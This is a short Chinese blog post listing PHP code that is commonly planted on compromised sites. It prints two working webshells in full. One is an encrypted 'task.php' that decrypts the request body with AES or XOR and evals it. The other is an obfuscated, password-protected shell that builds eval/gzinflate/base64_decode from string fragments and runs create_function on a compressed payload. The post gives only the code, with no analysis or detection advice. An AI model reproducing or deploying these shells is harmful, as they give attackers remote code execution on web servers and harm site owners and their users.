PHP系统常被挂马的代码

task.php

<?php
@error_reporting(0);
session_start();
    $key="21232f297a57a5a7"; 
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

<?php
$password='admin';//登录密码

$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZdb5tKEH2PlP+wQVEBiTq4jaPeWJGapoTmKsapDU6TNkJ4WQw1ZumyLq3T/Pc7i+0YAzdJ/WKxO3PmzJkP2N0hjFHmMpJSxqNkouhqd3cnI1kW0cTNuMe4Ik6iACl7UZYRruy7Q2M4vOhbX6U0TL00ku5UFd3v7iD47WN0gmS5u3qaZ4R5E5JwcdqjiyiOvYPDlo4UTGepx6NxTLqoN7ww0FFL76LrKPFpniHLRp3WG3WDw2JAGHsZOTp0fYKpT5TtJ+nGCYc90zLGb297ve+Gfjvy3/p6xxl9GYWjxYjfJNPDntE2HHgeT/+dS6paQrdIXgsgXS4+XI3NOPTagwvvi/W5b4Z5zzyfYnPSweZ57tkOw99v45s30/zGDjvedcpvF/FPYlp5/9pi/iycXeYnJ9Iq0jKckDKYJ5gLhcmvKOOZIgcZxVOakkTeaFlwi6NkCsxSj2XEBaKKYLtmXlj8mBP2G0wK068yqBrKd2WDkGZC/4wzTmOaE6asTMWFfLcFFqRg+UhGKXw19E7X0D50SkKX/wClobZe9hRZgfcW+QKRzkVwyTRsdHC/JPuAPtn21UG7pX9j3xKp2+DRApdPEPsY3RccHp60dKDNXp+KPjtGf99lT0Kf0SQhRa2O0VlMMyKsmzyCnEWcCA20wlutIkZJSDyfMFCjXb3DNOHAPhNKVYHzMIoJTF9AaFBIXNN43ShE1G5CoJ8KFof6P0dVFo+l2rA5QXoj4jax1rLBSAPew3MhXr1Cyoof5AfSoT9/UOlAqNmcVVU4/fnwlccAi6IVutVEF0OzTrB0uUJ42IzrHjR8SkFWrK23hSqyqo0xhks3SiIuP3FPfhFcHXMcAplHb6XMtTiFxUtT2L041NCZM7jsX9ku/C3pvMjavugZfceGue28yH5g2M7Asgen1vDcGGjIHjjGy2gNjcGpaVi2Vtr/W0sGr3MVSgjnGu6qaJsbKMbz5QDpXGh/RfZi2HNiW7pB007lZJaKUXsfwGTVFmoRASz4b2VpWW/NIoP30SyNxXtClrUVplrvoibOkk/ijxE7TfxzIFBp/aZIgqfIzF13a410vWebNNqDcQu8OCP/E7GIBo7ieyD28FIb8ATKEsDgUsRSvIYPAoCZLKIkiD1efVEDioApCip4vuCjgvz04kaLJc5/')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

posted @ 2021-06-10 10:21  不忘前行  阅读(390)  评论(0编辑  收藏  举报